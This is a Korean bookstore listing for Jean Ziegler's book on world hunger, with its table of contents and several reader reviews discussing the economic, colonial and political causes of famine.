왜 세계의 절반은 굶주리는가? - La Faim Dans le Monde Expliquee a Mon Fils
장 지글러 지음 | 유영미 옮김
2007-03-12
10,800원 | 201쪽 | 215*140mm
종합평점 : 3.9 ( 5 명)
이 책은 유엔 인권위원회의 식량특별조사관으로 활동하고 있는 장 지글러가 기아의 실태와 그 배후의 원인들을 대화 형식으로 알기 쉽게 조목조목 설명해놓고 있는 책이다.
전쟁과 정치적 무질서로 인해 구호 조치가 무색해지는 현실, 구호조직의 활동과 딜레마, 부자들의 쓰레기로 연명하는 사람들, 소는 배불리 먹고 사람은 굶는 현실, 사막화와 삼림파괴의 영향, 도시화와 식민지 정책의 영향. 특히 불평등을 가중시키는 금융과두지배 등을 중심으로 기아의 참상을 분석하고 있다.
지은이가 갖고 있는 문제의식은 단순하다. 미국이 생산할수 있는 곡물 잠재량 만으로도 전세계 사람들이 먹고 살 수 있고, 프랑스의 곡물생산만으로 유럽 전체가 먹고 살 수 있는 전세계 식량과잉의 시대에 어떻게 하루에 10만명이, 5초에 한 명의 어린이가 죽을 수 있냐는 것. 다국적 기업과 강대국 위주로 돌아가는 냉엄한 시장질서와 그로 인한 파괴적 상황을 극복하기 위해서는 국제적인 정치개혁이 필요하며, 그것에 앞서 타인의 아픔을 자신의 아픔으로 느낄 수 있는 유일한 생명체인 인간의 의식 변화가 절실하고 있다고 저자는 토로하고 있다.
해제 - 기아에 관한 어느 국제전문가의 비망록
한국어판 서문 - 희망은 어디에 있는가?

1. 일상풍경이 된 굶주림
2. 8억 5,000만의 굶주리는 사람들
3. 기아는 자연도태? 아니면 어쩔 수 없는 운명?
4. 문제가 집중되는 나라, 소말리아
5. 생명을 선별하다
6. 긴급구호로 문제해결?
7. 부자들의 쓰레기는 가난한 사람들의 먹을거리
8. 이름없는 작은 이들의 무덤
9. 자금부족으로 고민하는 국제기구
10. 소는 배를 채우고, 사람을 굶는다?
11. 시장가격의 이면
12. 세계에서 식량을 가장 쓸모있게 만드는 남자
13. 기아에 관해 가르치지 않는 학교
14. 설상가상의 전쟁
15. 무기로 변한 기아
16. 기아는 악용하는 국제기업
17. 국가 테러의 도구가 된 기아
18. 사막화로 인한 환경난민
19. 삼림파괴
20. 사막화 대처에 430억 달러?
21. 르 라이으를 찾아서
22. 계속 늘어나는 도시인구
23. 치유되지 않는 식민정책의 상흔
24. 토마스 상카라와의 만남
25. 메말라가는 대지, 사헬
26. 용기 있는 개혁사, 상카라
27. 상카라의 최후
28. 전정한 활로를 찾아서

에필로그
후기
부록 - 신자유쥬의를 말한다 / 주경복
옮긴이의 말
  • 다 같이 인간다운 삶을 누리기 위해서
    하양물감 | 2007년 03월 29일
      일주일에 세번, 음식 쓰레기통에 스티커를 붙여 밖으로 내놓는다. 그때마다 나는 냉장고에서 썩어가는 야채와 과일들을 아무런 죄책감 없이 버리곤 했다. 이 책을 읽고 난 후의 나의 생활은 적어도 지금까지의 행동과는 달라질 것이라 믿는다.   이 책에서는 세계의 한쪽에서는 먹을 것이 넘쳐나고 비만에 시달리고 있는데, 또 한쪽에서는 먹을 것이 없어 굶어죽어가고 있는 현실을 아이와 아버지의 대화를 통해 쉽게 풀어내고 있다. 세계를 살펴볼 것도 없이, 우리 나라, 아니 내 주변을 둘러봐도 이러한 ...
    더 보기
     

    일주일에 세번, 음식 쓰레기통에 스티커를 붙여 밖으로 내놓는다. 그때마다 나는 냉장고에서 썩어가는 야채와 과일들을 아무런 죄책감 없이 버리곤 했다. 이 책을 읽고 난 후의 나의 생활은 적어도 지금까지의 행동과는 달라질 것이라 믿는다.


     


    이 책에서는 세계의 한쪽에서는 먹을 것이 넘쳐나고 비만에 시달리고 있는데, 또 한쪽에서는 먹을 것이 없어 굶어죽어가고 있는 현실을 아이와 아버지의 대화를 통해 쉽게 풀어내고 있다. 세계를 살펴볼 것도 없이, 우리 나라, 아니 내 주변을 둘러봐도 이러한 불합리를 도처에서 찾아볼 수 있다. 학교에서 주는 무료급식으로 끼니를 떼우는 아이들이 넘쳐난다. 한 학교에 3-40명이 넘는다는 말도 있다. 그 아이들이 굶는 이유와 책임을 어디다 물어야 할까? 그들의 부모가 게으르고 나태해서라고 말할 수 있을까? 실업자가 넘쳐나고, 한부모 가정이 넘쳐나는 사회적 구조를 이야기하지 않고서는 그들에게 책임을 물을 수 없을터이다.


     


    이 책에서는, 수천만명이 기아로 사망하고, 수억명이 만성적인 영양실조에 시달리는 것의 주범은 살인적이고 불합리한 세계경제질서 (p.22) 라고 말한다. 그 세계 경제 질서를 좌지우지하는 선진국들(이른바 강대국들)과 다국적기업들, 세계 시장의 가격을 쥐락펴락하는 거대 자본들의 각성이 필요한 때이다. 물론 그들의 최고 목표는 이윤의 극대화이다보니 그런 각성을 요구하는 것 자체가 무리인지도 모르겠다.


     


    기아로 허덕이는 나라들을 살펴보면, 그들 나라에서 농산물을 생산할 수 없어서라기보다 자유무역협정이나, 식민지정책의 잔재로 계속되고 있는 단일농작물의 재배 등에 의한 경우가 많다. 그러니까, 그 나라에서 생산, 소비가 가능한데도, 다른 나라의 잉여농산물이 싼 가격으로 시장을 점령해버리면 그 나라의 농가들은 더이상 생산을 할 엄두가 나지 않기 때문에 생산을 포기하게 된다. 또, 선진국들이 필요로 하는 농작물만을 생산하는 단일농작물재배 시스템이 되어버리는 경우에도 마찬가지다. 그러면, 결국 주식이 되는 농작물(자동차나 공업제품과는 달리 생존을 위협하는 품목이다)을 자급할 수 없게 되니 다른 나라에서 수입을 하는 수밖에 없다. 그런데 그 가격이 터무니없이 높아져 버린다면??


     


    지금 한미FTA협정으로 시끄럽다. 한두해 있어 온 일도 아니지만, 그동안 저게 뭐 그리 큰 문제일까 생각했었다. 싼 농산물을 들여와서 먹을 수 있다면 좋은 일 아닌가 라는 안일한 생각도 했었다. 그러나, 그 결과가 주는 참혹함을 이 책을 통해 알게 되었다. 의약품도 그렇다. 축산업을 통해 양질의 가축을 길러 풍요롭지는 않아도 자급이 가능했던 나라가 의약품 가격이 천정부지로 뛰면서 축산업을 더이상 유지할 수 없었다는 내용을 보면 어느 하나 자유로운 것이 없다. 줄 건 주고 받을 건 받자는 식의 협정이라하지만, 어디까지나 그건 줘도 손해볼 것 없고 받으면 좋은 강대국의 입장일 뿐이다.


     


    신자유주의라는 이론을 등에 업고 세계 경제를 움직이는 강대국들의 횡포는 이제 극에 달한 듯 하다. 국가를 떠나 자유롭게 무역을 하도록 하자는 허울 좋은 껍데기에 둘러싸여 그 이면을 보지 못했던 내가 부끄러워졌다. 대량생산이 가능한 경제력과 기술을 가진 강대국과, 소규모 생산밖에 할 수 없는 나라들이 어떻게 같은 조건이라 할 수 있을까? 결국 강대국들에 의해 경제를 잠식당하는 것은 시간문제인 것이다.


     


    이 책 속의 아이도 그렇지만, 나도 항상 가진 의문이 하나 있다. 왜 남아도는 농작물을 기아로 허덕이는 이들에게 주지 않고 바다에 버리거나, 땅을 갈아엎어버리거나 하면서 없애버릴까? 결국은 그것 역시 무지막지한 경제 논리 속에 가려진 이유, 즉, 이윤 극대화가 최대의 과제이기 때문이었다.


     


    또, 자연재해 등과 같은 어쩔 수 없는 사건에 의한 기아 외에도, 전쟁이나 내전때문에 기아에 시달리는 국가들도 있다. 미국이 잘하는 짓(?)이 있지 않은가? 민주주의를 수호하기 위해 남의 나라 내전 문제에도 거침없이 참견하고 전쟁을 선포하는 짓... 그런 짓도 골라가며 한다는 사실을 아는가?


     


    쿠웨이트와 그 석유는 서방 강대국의 경제에 대단히 중요하지만, 아프리카 내전은 선진국들에게는 별로 중요하지 않다는 데 문제가 있지. (p.89)


     


    미국의 국제기업이 그때까지 누려온 많은 특권들이 침해받을 수도 있었기 때문이란다. (p.101)


     


    부르키나파소는 전략적으로 중요한 지역도 아니고 자원이 풍부한 나라도 아니니까. (p.143)


     


    그러니까, 자국의 이익에 도움이 되거나 자국 기업의 특권을 유지하기 위해서는 발벗고 나서지만, 자국과는 아무 관련이 없을 때에는 한마디로 쌩깐다(--)는 사실이다. 세계 평화 수호자라는 탈을 쓰고 그 이면에서는 이리 저리 자를 재고 있는 모습이 눈에 보인다.


     


    인간은 살기 위해서는 밥을 먹어야 한다. 인간이 인간다워지기 위한 최소한 조건 중에서도 음식은 가장 중요하다. 인간의 존엄성이 어떻고 인권이 어떻고 떠들기 전에 가장 최소한의 조건조차도 누리지 못하고 있는 그들을 위해 무엇을 해야 할것인가는 말하지 않아도 뻔한 일이다.


     


    저자는 기아문제를 근본적으로 해결하기 위해서는 각국이 자급자족 경제를 스스로의 힘으로 이룩하는 것 외에는 진정한 출구가 없다. (p.152)고 말한다. 그러기 위해서는 밀어붙이기식의 FTA협정에서 자유로워져야 할 것이다. 누구를 위한 자유무역인가??


     


    그리고, 이 책에서는 내 지식의 단순함을 일깨워준 대목도 있었다.


    식료품을 실은 비행기가 수단 남부의 관목지대 위를 낮게 날면서 그 화물을 연신 떨어뜨리는 사진, 그리고 바싹 마름 덤불 속에서 거의 다 죽어가는 사람들이 나타나 화물 쪽으로 몰려드는 장면이었지. 사진 설명에는 "드디어 구호의 손길이 수단에 닿다"라고 적혀 있었어. 정말 현실과는 동떨어진 사진들이지. 하지만 실제로 구호활동은 그런 장면과는 크게 다르단다. 전문 의료지식을 바탕으로 대단히 면밀하게 이루어지거든. (p.59)


     


    즉, 이런 식의 구호활동은 그저 그림일 뿐 현실이 아니란 것이다. 우리가 아플 때를 생각해 보자. 허약해진 몸의 기운을 북돋우고 추스리기 위해 먼저 위에 부담이 되지 않는 음식부터 먹기 시작을 한다. 그것도 어려울 때는 주사를 맞아 기력을 회복한 다음에 음식을 먹는다. 그런데 하물며, 만성적으로 굶고 있는 이들에게 적절한 처치 없이 곧바로 음식을 먹게 한다는 건 비상식적인 일이다. 음식을 주기 전에 의사의 진료와 처방이 이루어져야 한다. 또, 내전이나 전쟁으로 인해 기아에 시달리는 지역에서는 특히 더 조심스러워야 한다. 하늘에서 떨어뜨린 화물을 줍기 위해 뛰어가다 지뢰를 밟거나 하여 다치는 사례가 많기 때문이다.


     


    우리는, 그저 한장의 사진을 통해 우리가 할건 다했다는 생각을 갖게 되고 죄책감으로부터 벗어나려고 한다. 진정 우리가 인간답게 살기 위해서, 다같이 인간다운 삶을 누리기 위해서 해야 할 일이 무엇인가를 다시 한번 생각케 하는 책이었다.


    리뷰줄이기
  • 기근의 원인과 대책 방안
    나스카 | 2007년 03월 30일
        잘 사는 나라일수록 먹을거리에 대한 욕심을 넘어선 본능적 욕망이 만연한 듯 하다. 한국 역시 언제부터인가 ‘소문난 맛 집’,‘식도락의 행복’ 등 즐길 수 있는 음식문화를 집중보도하여 소개하는 데 급급하다. 맛있는 식당을 소개하는 프로그램이 만연하게 된 내면에는 잘 먹고 잘 사는 서구지향적인 사회적 인식이 크게 기여했을 것이다.   아무렇지 않게 버려지는 음식물 쓰레기가 넘쳐나고, 과도한 양의 육식 습관으로 비대해지는 나라가 있는가 하면, 지구 저 편에서는 지금도 5초 마다 1명꼴로 굶주림 때...
    더 보기

     

      잘 사는 나라일수록 먹을거리에 대한 욕심을 넘어선 본능적 욕망이 만연한 듯 하다. 한국 역시 언제부터인가 ‘소문난 맛 집’,‘식도락의 행복’ 등 즐길 수 있는 음식문화를 집중보도하여 소개하는 데 급급하다. 맛있는 식당을 소개하는 프로그램이 만연하게 된 내면에는 잘 먹고 잘 사는 서구지향적인 사회적 인식이 크게 기여했을 것이다.


      아무렇지 않게 버려지는 음식물 쓰레기가 넘쳐나고, 과도한 양의 육식 습관으로 비대해지는 나라가 있는가 하면, 지구 저 편에서는 지금도 5초 마다 1명꼴로 굶주림 때문에 숨을 거두는 사람들이 있다고 하니, 이보다 더 역설적인 생사의 기록이 또 있을까 싶다. 기근으로 인한 죽어가는 사람들의 보도를 애써 회피하며 모른 척 넘어가는 선진병에 걸린 나라 중 한국 역시 비난의 화살을 피할 순 없을 것이다. 부끄럽지만, 본인 역시 마찬가지다.


      작년 한비야씨의 저서 「지도 밖으로 행군하라」를 읽으며, 큰 감동을 받았다. 오로지 열정 하나를 밑천 삼아, 국제구호개발기구에서 힘든 일을 도맡아 하는 그녀의 모습을 보니, 괜스레 가슴이 뿌듯하고 코끝이 시큰했었다. 사적인 견해가 지배적이었던 그녀의 저서만으로도 기근에 허덕이는 난민들의 아픔에 긴 슬픔이 몰려왔는데, 「왜 세계의 절반은…」을 읽고 나니, 더욱 비통한 심정이 일었다. 기아문제연구의 세계적인 권위자라고 일컫는 ‘장 지글러’교수의 건조하고 담담한 문체가 애써 현실을 외면하고픈 이들의 양심을 더욱 세차게 가격하는 듯 하다.


      저자의 이력이 화려하다. 쉽사리 해낼 수 없을 것 같은 다양한 실전 경험이 연구자이자 학자인 지글러 교수의 조사에 크게 도움이 되었을 것이다. 유엔 식량농업기구(FAO)가 발표하는 단순 나열식의 수치보다 전문가의 설득력 있는 한 마디가 더욱 현실감 있게 다가오는 법이다. 절망적인 굶주림에 허덕이며 목숨을 잃어가고 있는 지구상의 모든 사람들이 눈에 밟혀서 하루 세끼 식사를 하고 있는 지금의 내에게 죄책감마저 밀려들었다.


      현재 지구의 식량은 지구상의 전 인류가 배부르게 먹고도 남을 만큼 많은 양인데, 왜 8억 5천만이나 되는 사람들은 만성적인 기근에 시달려야 하는 걸까? 이러한 궁금증을 해소시켜 줄 해답을 본서가 논리정연하게 펼쳐놓고 있다.


    (만성적인 영양실조에 걸린 에티오피아 소년)


      만연한 부패, 외국에 대한 극단적인 의존, 북부 지방의 만성적인 기아, 신식민주의적 수탈과 멸시, 방만한 국가 재정, 기생적인 관료들, 그리고 절망하는 농민들…….<
    리뷰줄이기

  • 희망은 여기에서 시작된다.
    정군 | 2007년 03월 31일
    지금, 지구상에서 가장 무서운 것은 뭘까? 흔히 핵전쟁을 언급한다. 그렇다. 핵전쟁은 무서운 것이다. 하지만 그건 현재형이 아니다. 다음으로 언급하는 에이즈 또한 마찬가지다. 전망이 상당히 어둡지만, 지금의 문제는 아니다. 그렇다면 지금, 가장 두려운 것은 무엇인가? 답은 기근이다. 기근은 우리와 동떨어진 문제다. 그런 탓에 기근을 두렵다고 한다면 좀 막연하게 여겨질 것이다. 하지만 유엔 인권위원회의 식량특별조사관 장 지글러의 를 만나고 나면 이야기가 달라진다. 책을 몇 장 넘기지도 않아서 기근의 두려움을 절실하...
    더 보기
    지금, 지구상에서 가장 무서운 것은 뭘까? 흔히 핵전쟁을 언급한다. 그렇다. 핵전쟁은 무서운 것이다. 하지만 그건 현재형이 아니다. 다음으로 언급하는 에이즈 또한 마찬가지다. 전망이 상당히 어둡지만, 지금의 문제는 아니다. 그렇다면 지금, 가장 두려운 것은 무엇인가? 답은 기근이다.

    기근은 우리와 동떨어진 문제다. 그런 탓에 기근을 두렵다고 한다면 좀 막연하게 여겨질 것이다. 하지만 유엔 인권위원회의 식량특별조사관 장 지글러의 <왜 세계의 절반은 굶주리는가?>를 만나고 나면 이야기가 달라진다. 책을 몇 장 넘기지도 않아서 기근의 두려움을 절실하게 깨닫게 해주기 때문이다.

    <왜 세계의 절반은 굶주리는가?>는 아이가 질문을 하면 아빠가 대답을 해주는 형식으로 구성된 탓에 읽기가 편하다. 하지만 내용은 결코 편하게 받아 들일 수 없다. 그럴 수밖에 없는 것이 가난한 나라의 국민들이 굶어주는 동안 부유한 나라의 소들은 도살당하고, 어느 곳에서는 소들이 먹는 음식만 있으면 아프리카의 국민들을 살릴 수 있다는 사실을 지적하기 때문이다. 게다가 부자동네의 쓰레기통을 뒤지는 사람들의 이야기는 또 어떤가? 제대로 먹지 못해서 시력을 잃는 아이들에 관한 이야기는 또 어떤가? 결코 편하게 접할 수 있는 내용이 아닌 것이다.

    책에서 인용한 통계에 따르면 2000년에 “8억 5000만 명 이상이 만성적이고 심각한 영양실조에 시달리고 있다”고 한다. 또한 “열 살 미만의 아이가 7초마다 1명씩 기아로 인해 목숨을 잃고 있으며 6분에 1명씩 비타민A의 부족 혹은 썩은 물과 접촉함으로써 시력을 잃고 있다”고 밝히고 있다. 수많은 사람들의 목숨 하나를 눈 깜짝할 사이에 뺏어가는 것이 바로 기아인 것이다.

    그렇다면 이런 기아를 해결할 방법은 없는 것인가? 물론 있다. 상식적으로 생각해봐도 쉽게 답이 떠오른다. 그것은 부유한 나라에서 도와주면 되는 것이다. 하지만 부유한 나라들은 음식을 버리는 한이 있더라도 그렇게 행동하지 않는다. 평소에 인류의 ‘정의’와 ‘평화’를 내세우던 나라들도 기근에 시달리는 나라들 근처에는 다가가지 않는다. 이익이 없기 때문이다.

    양심 있는 사람들은 다 어디에 있는 것일까? 분명 이러한 실태를 알고 있을 텐데, 그것에 대해서 말하는 사람들은 왜 없는 것일까? 여기서 저자는 ‘자연도태’를 비판하고 나선다. 왜 그런가? ‘자연도태’라는 단어가 기아를 설명하면, 잘 먹고 잘 사는 사람들은 불편해할 이유가 없다. 오히려 기아가 지구의 과잉구조를 조절하는 수단으로 언급되기도 할 정도다. 그것이 맞는 것인가? 그건 인종차별주의의 다른 말에 지나지 않을 뿐인데 많은 이들이 아직도 그 사실에 빠져있다. 그럼으로써 불합리한 일이 버젓이 일어나고 있음에도 편하게 눈을 감고 지낼 수 있는 것이다.

    맥을 같이 하는 신자유주의는 어떤가? 이것 또한 기아해결을 방해하는 요소 중 하나다. 신자유주의는 자유로운 경쟁을 보장해주지만, 한편으로는 가진 사람과 없는 사람이 동일한 상태에서 경쟁하게 만들어주는 이론이기 때문이다. 상상해보라. 아프리카의 국가들이 식량을 얻기 위해 유럽의 국가들과 자유롭게 경쟁한다면, 이득을 얻을 수 있을까? 답은 어렵지 않게 찾을 수 있으리라.

    저자는 비판만 하지 않는다. 기아 문제를 제대로 해결하기 위해서 몇 가지 방안을 내놓고 있는데 첫 번째는 ‘인도적 지원의 효율화’다. 세계에서 인도적인 지원이 있다 하더라도 지금의 상황에서는 가난한 사람들에게 제대로 전달되지 못하는 경우가 많다. 오히려 기아를 부추기는 세력들의 뱃속을 채울 수 있다. 발상의 전환이 필요할 때다.

    두 번째는 원조보다 먼저 개혁을 해야 한다는 것이고, 세 번째는 인프라를 정비하는 것이다. 헬기로 지나가면서 무작정 음식을 던져줄 것이 아니라, 기아를 확산시키는 구조적인 문제를 해결하는 개혁을 수행할 수 있게 도와주고, 그들이 자생할 수 있도록 기초적인 도움을 줄 수 있어야 한다는 분석이다.

    물론 이 모든 것을 위해서는 세계 여론이 동원돼야 한다. 가능할까? 결코 쉬운 일이 아니다. 기근이 문제라는 것 자체를 인식하지 못하는 때라면 더욱 그렇다. 하지만 <왜 세계의 절반은 굶주리는가?>의 책의 목소리처럼 이것이 문제라는 것을 알려주는 책이 있다면 조금이나마 가능성을 높일 수 있을 것이다. 그렇다. 그것이 희망이다. 그것이 문제라는 것을 인식하는 것부터가 희망의 시작인 셈이고 그런 의미에서 <왜 세계의 절반은 굶주리는가?>는 그것의 단초로 삼을 수 있다.
    리뷰줄이기
  • 왜 그들은 굶어야만 하나
    이환 | 2007년 03월 31일
    지구의 식량생산량은 60억 명의 지구 인구의 두 배인 120억 명을 부양할 수 있을 정도라고 한다. 그런데 왜 굶는 사람이 생기는가? 물론 단기적으로 자연재해나 전쟁으로 인하여 국지적인 기아가 발생할 수는 있을 것이다. 또한 장기간 기후 등의 이유로 농사를 지을 수 없을 경우도 발생할 수 있다. 하지만 120억 명을 부양할 수 있는 식량을 생산하는데, 굶는 사람이 많다면 그 잉여 식량은 어떻게 처리 된다는 이야기인지 잘 모를 일이다. 과잉생산되는 식량은 선진국에서 폐기처분한다고 한다. 그 이유는 농산물 가격을 하락을 막음...
    더 보기

    지구의 식량생산량은 60억 명의 지구 인구의 두 배인 120억 명을 부양할 수 있을 정도라고 한다. 그런데 왜 굶는 사람이 생기는가? 물론 단기적으로 자연재해나 전쟁으로 인하여 국지적인 기아가 발생할 수는 있을 것이다. 또한 장기간 기후 등의 이유로 농사를 지을 수 없을 경우도 발생할 수 있다. 하지만 120억 명을 부양할 수 있는 식량을 생산하는데, 굶는 사람이 많다면 그 잉여 식량은 어떻게 처리 된다는 이야기인지 잘 모를 일이다. 과잉생산되는 식량은 선진국에서 폐기처분한다고 한다. 그 이유는 농산물 가격을 하락을 막음으로써 자국 농민들의 수입을 보존해주기 위해서이다. 즉 식량의 기격이나 생산량의 결정, 유통 등은 철저히 자본주의 논리에 따르고 있다. 이윤이 있는 곳에 행복이 있다는 말은 반대편 사람들에게는 불행으로 작용하고 있는 것이다.


    현재 남한은 북한에 식량 및 비료 등을 지원해주고 있다. 이것은 북한 사람들에게 풍족하지는 않을지 몰라도 기아선상에서 해방시켜줄 수는 있을 것이다. 그리고 지구의 나머지 국가에서도 유엔식량농업기구(FAO, Food and Agriculture Organization)나 세계식량계획(WFP, World Food Programme)과 같은 국제기구에서는 전 세계의 기아지역에 식량 등을 지원해주고 있는 것으로 알고 있다. 그런데, 2005년을 기준으로 10세 미만의 아동이 5초에 한 명씩 굶어 죽어가고 있으며(그러면 1분에 12명, 1시간이면 720명, 하루에 252,800명이라는 의미, 상상이 안 간다), 비타민A 부족으로 시력을 상실하는 사람이 3분에 한 명꼴이라고 한다. 뭔가 통계에 문제가 있는 것 아닌가? 그런데 이 끔찍하게 보이는 통계수치가 사실이라고 하니, 뭔가 심각한 문제가 이 수치 안에 있음이 틀림이 없다. 그렇다면 전쟁보다도 무서운 것이 기아라고 보아도 될 것이다.


    이 통계수치가 사실이라고 한다면 그것의 주된 원인은 무엇인가. 그 주범은 바로 ‘세계 경제 질서’라고 한다. 아니 질서라고 하기에는 무질서한 것 아닌가? 과연 이것은 누구를 위한 질서인가? 그 질서의 중간에는 바로 세계화가 있다. 세계화를 움직이는 동인은 바로 자본이다. 자본의 목적인 바로 이윤인 것이다. 이윤은 결코 도덕적인 면을 가지고 있지 않다. 도덕이나 윤리조차도 이윤에 방해가 된다면 이윤은 그것들을 과감히 버릴 것이다. 세계화의 그늘 속에서 빈곤은 독버섯처럼 자라고 있는 것이다.


    식량부족에 시달리고 있는 국가들을 보면 거의 가 농업 국가들이다. 뭔가 아이러니하지 않은가? 떡장수는 떡을 하나 더 먹을 수 있는 것인데, 농업을 하면서도 식량이 없다니 뭔가 문제가 있어 보인다.


    지구상에서 곡물을 가장 많이 수출하는 나라인 브라질에서도 영양실조로 말미암아 많은 사람들이 죽어가고 있다고 하는데, 그 이유는 ‘살인적인 금융과두제’ 가 모든 중요한 물품을 독점하고 있기 때문이라고 한다. 그렇다면 브라질 정부는 무엇을 하고 있단 말인가 하는 의문이 생긴다. 이런 상황을 바로잡아야 할 정부가 제대로 정책을 작동시키지 못하고 있다는 것인데, 이의 원인은 바로 금융 즉 자본인 것이다. 한 나라의 행정권보다 더 상위에 존재하고 있는 금권, 즉 자본의 힘 앞에 행정은 무릎을 꿇고 있는 금권정치의 모습을 보여주고 있는 것이다. 어디 이게 브라질만의 문제인가? 이는 ‘신자유주의’란 이름으로 전 세계에서 행해지고 있는 현실이다.


    세네갈의 경우를 한 번 살펴보자. 세네갈은 농업국가로 땅콩 농사를 주로 하고 있다. 하지만 국민들의 주식은 쌀이다. 그들은 왜 자신들의 주식인 쌀을 경작하지 않고 땅콩을 생산하고 있는가? 그것은 식민지 경제의 유산이다. 세네갈은 프랑스 식민지 시절에 프랑스가 필요한 땅콩만을 키우도록 했다는 것이다. 그래서 독립한 지금도 땅콩을 생산해 유럽으로 수출하고 그 돈으로 외국에서 자신들의 식량을 수입하고 있다. 그런데 이 수입도 정부의 고위 관리들이 독점권을 가지고 막대한 재산을 모으고 있어서 자신의 나라에서 쌀을 생산하는 것을 원하지 않는 것이다. 그러니까 세네갈은 식민지 지배의 유산과 공직자들의 부패로 인해서 기아에서 벗어나지 못하고 있는 것이다.


    혹자들은 기아로 사람이 죽는 것은 자연도태 현상으로 설명하고 있다고 한다. 지금으로부터 100년 전에 선진국들이 식민지 지배의 정당성을 확보하기 위해 내놓았던 사회진화론이 아닌가! 즉 강자가 약자를 지배하는 것은 당연한 것이고, 약자는 자연스럽게 도태되어 약육강식의 장에서 사라진다고 하는 이론을 숭배하고 있는 것이다. 그들은 기아로 인해서 사람이 죽는 것은 지구의 인구밀도를 조절하는 자연의 메카니즘으로 생각한다고
    리뷰줄이기

  • 기아의 진실 - 이해할 수 없었던 일
    red7370 | 2007년 03월 31일
    기아문제에 대해서 별다른 감흥없이 저 일은 다른 나라이야기이야, 북한은 왜 저러고 살지 하는 심각하게 방관자적인 자세로 있던 나는 이 책을 읽으면서 많이 부끄러웠다.120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있는데도 아시아, 아프리카, 남미에서 하루에 10만명이, 5초에 한 명의 어린이가 굶주리고 있다는 사실에 놀랍기도하고 믿어지지 않기도 했다.도대체 왜 이런 일이 일어나고 있는지 이해를 못하겠다는 생각뿐이었고 화가 나기 시작했다.전쟁과 고질적인 부정부패가 만연한 극빈국에서의 고통과 환경파괴로 인한 ...
    더 보기
    기아문제에 대해서 별다른 감흥없이 저 일은 다른 나라이야기이야, 북한은 왜 저러고 살지 하는 심각하게 방관자적인 자세로 있던 나는 이 책을 읽으면서 많이 부끄러웠다.
    120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있는데도 아시아, 아프리카, 남미에서 하루에 10만명이, 5초에 한 명의 어린이가 굶주리고 있다는 사실에 놀랍기도하고 믿어지지 않기도 했다.
    도대체 왜 이런 일이 일어나고 있는지 이해를 못하겠다는 생각뿐이었고 화가 나기 시작했다.
    전쟁과 고질적인 부정부패가 만연한 극빈국에서의 고통과 환경파괴로 인한 극심한 고토을 겪고 있는 난민들, 강대국들의 이기적인 횡포, 불평등을 과중시키는 금융과두지배에서 벗어날길은 없는 것인지, 답답하고 슬펐다.
    식량을 재배할 수 있는 비옥한 땅을 가지고도 배고품에 굶주리다 아사해야만하는 농민들이 고통이 대물림당하는 현실 속에서 기아에 가장 많은 노출되어 있는 아이들의 현실이 암담하기만 했다.
    수많은 구호단체에서 그들을 구호하고자해도 부정부패에 물들어있는 관료들에 의해 재분배가 제대로 되지못하고 있는 현실 앞에서 그들은 절망할수밖에 없다.
    서아프리카의 희망이였던, 아니 전 아프리카의 꿈이었던 부르키나파소의 토마스 상카라의 죽음은 그들의 의지를 또한번 꺽어놓은 것이 되어버렸다.
    상카라의 자주적인 개혁을 못마땅해하던 강대국 프랑스의 의해 희망의 싹은 뿌리채 뽑혀버렸다는 사실은 앞으로 우리들의 공동의 기아에 대한 인식의 변화와 책임감없이는 그들은 도와줄 수 없다는 사실을 재확인시켜 주었다는 점이다.
    그럼 대책은 무엇인가...
    그것은 참된 인간이고자하는 우리들의 인식변화와 스스로 일어서고자하는 그들의 의지가 필요하다고 하다는 것이다.
    우리사회에서 기아에 대한 의식과 공동의 책임감을 가지고 해결해나가야만 한다는 점과 가정에서 학교에서 사회에서 세계의 공동책임인 기아문제에 대해서 설명해주고 인식의 변화를 통해 이루어져야 한다는 것이다.
    우선 나부터 기아에 대한 인식의 변화가 필요하다.
    굶어서 죽는다는 자체에 막연한 부끄러움을 느낄 것이 아니라 인간 생존권이 달려 있다는 사실을 깨달아야 하고 아무런 죄책감없이 음식낭비로 인한 쓰레기를 만들고 있는 점들을 생활 속에서 개선해야겠다는 생각이 든다.
    한명의 목소리가 모여 다수의 목소리가 되고 듣는 귀가 열려있을 때 세상은 변할것이고 기아문제는 작은변화를 통해 큰 변화를 가져올것이라 믿고 싶다.

     


    리뷰줄이기
  • 왜 세계의 절반은 굶주리는가?
    bluesky | 2007년 04월 01일
    이 책은 유엔 식량 조사관이 기아에 대해아들에게 얘기하는 형식으로 씌여졌다.그래서, 기아라는 문제를 알기쉽고 간결하게 서술한다.나에게 있어 기아란 무엇인가?일년에 몇차례 유니세프 친선대사라는 분들이 TV에 나오셔서 행사비슷한 것을 한다.그럴때 한번정도 생각하는 것이 내가 생각하는 기아이다.아! 북한 아이들 나올때도 기아에 대한것이였다.참! 현실이 이렇다.세계의 어느 한쪽에서는 5초에 1명씩 아동이 굶어 죽어간다고 하는데, 세계의 어느 한쪽에서는 다이어트가 사회 문제화 되는 세상.이 책이 씌어진 ...
    더 보기
    이 책은 유엔 식량 조사관이 기아에 대해
    아들에게 얘기하는 형식으로 씌여졌다.
    그래서, 기아라는 문제를 알기쉽고 간결하게 서술한다.

    나에게 있어 기아란 무엇인가?
    일년에 몇차례 유니세프 친선대사라는 분들이 TV에 나오셔서 행사비슷한 것을 한다.
    그럴때 한번정도 생각하는 것이 내가 생각하는 기아이다.
    아! 북한 아이들 나올때도 기아에 대한것이였다.
    참! 현실이 이렇다.
    세계의 어느 한쪽에서는 5초에 1명씩 아동이 굶어 죽어간다고 하는데, 세계의 어느 한쪽에서는 다이어트가 사회 문제화 되는 세상.
    이 책이 씌어진 이유가 바로 이것이다.
    왜 한쪽에서는 식량이 남아돌고, 한쪽에서 굶어죽는가!

    저자는 이 이유를 몇가지 사례를 들면서 설명하고 있다.
    전쟁, 정치적 무질서, 구호조직의 딜레마, 삼림파괴, 금융과두지배 등등등......
    솔직히 정치적 무질서와 금융과두지배 부분에서는 놀라웠다.
    아이들이 굶는 이유가 개혁의 좌절과 세계화로 인한 것이라니.
    그리고, 자원이 풍부한 나라가 아니면(경제적 쓸모가 있는 자원이 있는 나라) 원조 조차 받기
    힘든 상황이라니. 답답한 현실이다.

    한가지 읽으면서 참을수 없었던 것이 있다.
    자연도태설에 관한 내용이다.
    식량은 산술급수적으로 증가하는데 반해, 인구는 기하급수적으로 증가한다고 한다.
    (이 내용도 사실이 아니다라고 저자는 말한다.)
    그래서, 자연이 알아서 환경에 적응하지 못하는 대상을 조절하는데 그 대상이 못 사는 사람들이라는 것이다.
